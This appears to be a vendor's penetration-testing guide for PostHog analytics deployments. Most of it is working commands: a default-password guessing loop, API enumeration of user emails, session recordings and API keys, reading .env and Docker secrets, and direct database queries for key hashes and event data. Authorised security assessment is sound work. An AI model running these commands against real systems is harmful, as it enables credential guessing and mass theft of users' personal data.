PostHog Security Testing: Default Credentials, API Key, Database, and .env SECRET_KEY

PostHog is a widely deployed open-source product analytics platform used to capture user behavioral data, session recordings, feature flags, and A/B test results — it stores all user interaction data, identified user profiles with emails and properties, and potentially sensitive session recordings. Key assessment areas: SECRET_KEY is the Django secret key used for session signing; the personal API key provides access to all analytics data; ClickHouse stores all event data and session recordings; DATABASE_URL contains the PostgreSQL connection string; and session recordings may contain sensitive information including password fields that were not excluded from capture. This guide covers systematic PostHog security assessment.

Table of Contents

  1. Authentication and API Key Testing
  2. API Event, Person, and Session Recording Enumeration
  3. Database Credential and Event Data Extraction
  4. PostHog Security Hardening

Authentication and API Key Testing

# PostHog — authentication and API key testing
POSTHOG_URL="https://posthog.example.com"

# PostHog login
AUTH=$(curl -s -X POST "${POSTHOG_URL}/api/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
SESSION_TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token','FAIL: '+str(list(d.keys()))))
" 2>/dev/null)
echo "Session: ${SESSION_TOKEN}"

# Personal API key — generated in Account Settings > Personal API Keys
# Provides full API access to all organization data
PERSONAL_API_KEY="phx_your_personal_api_key"

# Test API key and get current user
curl -s "${POSTHOG_URL}/api/users/@me/" \
  -H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"first_name\")} {d.get(\"last_name\")} ({d.get(\"email\")})')
print(f'org: {d.get(\"organization\",{}).get(\"name\")} role={d.get(\"organization\",{}).get(\"membership_level\")}')
" 2>/dev/null

# Try common admin passwords
for PASS in "admin" "posthog" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${POSTHOG_URL}/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

API Event, Person, and Session Recording Enumeration

# PostHog REST API — event, person, and session recording enumeration
POSTHOG_URL="https://posthog.example.com"
PERSONAL_API_KEY="phx_your_personal_api_key"
PROJECT_ID="1"  # or your project ID

# List all captured events with user data
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/events/?limit=20" \
  -H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Events: {d.get(\"count\")} total, showing {len(results)}')
for e in results[:5]:
    props = e.get('properties',{})
    print(f'  [{e.get(\"id\")}] event={e.get(\"event\")} user={props.get(\"\$user_id\",props.get(\"\$distinct_id\",\"\"))[:30]}')
    if props.get('email'):
        print(f'    email={props[\"email\"]}')
" 2>/dev/null

# List all identified persons (users with emails)
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/persons/?limit=20" \
  -H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Persons: {d.get(\"count\")} total')
for p in results[:10]:
    props = p.get('properties',{})
    print(f'  [{p.get(\"distinct_ids\",[\"?\"])[0][:20]}] email={props.get(\"email\",\"\")} name={props.get(\"name\",\"\")}')
" 2>/dev/null

# List all session recordings — may contain sensitive user interactions
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/session_recordings/?limit=10" \
  -H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Session recordings: {d.get(\"count\")} total')
for r in results[:5]:
    print(f'  [{r.get(\"id\")}] duration={r.get(\"recording_duration\")}s user={r.get(\"person\",{}).get(\"name\",\"\")} email={r.get(\"person\",{}).get(\"properties\",{}).get(\"email\",\"\")}')
" 2>/dev/null

# List all personal API keys in organization (admin)
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/personal_api_keys/" \
  -H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
keys = d.get('results',d) if isinstance(d,dict) else d
print(f'Personal API keys: {len(keys)}')
for k in keys[:10]:
    print(f'  [{k.get(\"id\")}] label={k.get(\"label\")} prefix={k.get(\"value\",\"\"[:10])} last_used={k.get(\"last_used_at\")}')
" 2>/dev/null

Database Credential and Event Data Extraction

# PostHog database credential and event data extraction

# .env file — PostHog secrets
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|CLICKHOUSE|REDIS|POSTHOG_SECRET"
# SECRET_KEY — Django secret key
# DATABASE_URL / POSTHOG_DB_* — PostgreSQL credentials
# CLICKHOUSE_HOST/USER/PASSWORD — ClickHouse event database credentials

# Docker environment variables
docker inspect posthog-web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','DATABASE','CLICKHOUSE','REDIS','PASSWORD','KEY']):
            print(e)
" 2>/dev/null

# PostgreSQL access — PostHog metadata
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All users and their personal API key hashes
SELECT id, first_name, last_name, email, is_staff, is_active,
       date_joined, last_login
FROM posthog_user
ORDER BY is_staff DESC, date_joined DESC
LIMIT 20;
EOF

# Personal API keys — stored as hashes but prefix may help identify
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT pak.id, pak.label, pak.prefix, pak.secure_value,
       u.email as owner_email, pak.created_at, pak.last_used_at
FROM posthog_personalapikey pak
JOIN posthog_user u ON pak.user_id = u.id
ORDER BY pak.last_used_at DESC
LIMIT 20;
EOF

# ClickHouse direct access — all event data
# ClickHouse stores all behavioral events and session recording data
clickhouse-client --host localhost \
  --user default --password "${CLICKHOUSE_PASSWORD}" \
  --database posthog 2>/dev/null \
  --query "SELECT event, distinct_id, properties, created_at
           FROM events
           WHERE created_at > now() - INTERVAL 1 DAY
           LIMIT 20"

# Session recording snapshots — may include sensitive form data
clickhouse-client --host localhost \
  --user default --password "${CLICKHOUSE_PASSWORD}" \
  --database posthog 2>/dev/null \
  --query "SELECT session_id, window_id, distinct_id,
                  length(data) as data_size_bytes, created_at
           FROM session_replay_events
           ORDER BY created_at DESC
           LIMIT 10"

PostHog Security Hardening

PostHog Security Hardening Checklist:
Security TestMethodRisk
Session recording sensitive data exposureGET /api/projects/{id}/session_recordings — all user session recordings; may contain unmasked password fields, credit card numbers, OTPs, and other sensitive inputs depending on masking configurationCritical
Person profile and email enumerationGET /api/projects/{id}/persons — all identified users with email addresses and behavioral properties; complete user PII database exportable via APIHigh
SECRET_KEY extraction and Django session forgeryRead .env SECRET_KEY — Django signing key; forge valid session cookies as any PostHog user bypassing password authenticationCritical
ClickHouse event data accessClickHouse query on events table — all captured behavioral events with user identifiers and properties; complete analytics data including all user actions on connected applicationsHigh
Personal API key extractionPostgreSQL SELECT from posthog_personalapikey — key prefix and secure hash; active keys provide full org-level data access; expired or inactive keys visible in audit logsHigh

Automate PostHog Security Testing

Ironimo tests PostHog deployments for SECRET_KEY Django session forgery, personal API key extraction and data access, session recording PII and sensitive data exposure, person profile email harvesting, event data bulk enumeration, ClickHouse credential extraction and event table access, PostgreSQL credential extraction, Docker environment variable exposure, session recording masking misconfiguration, and organization access control privilege testing.

Start free scan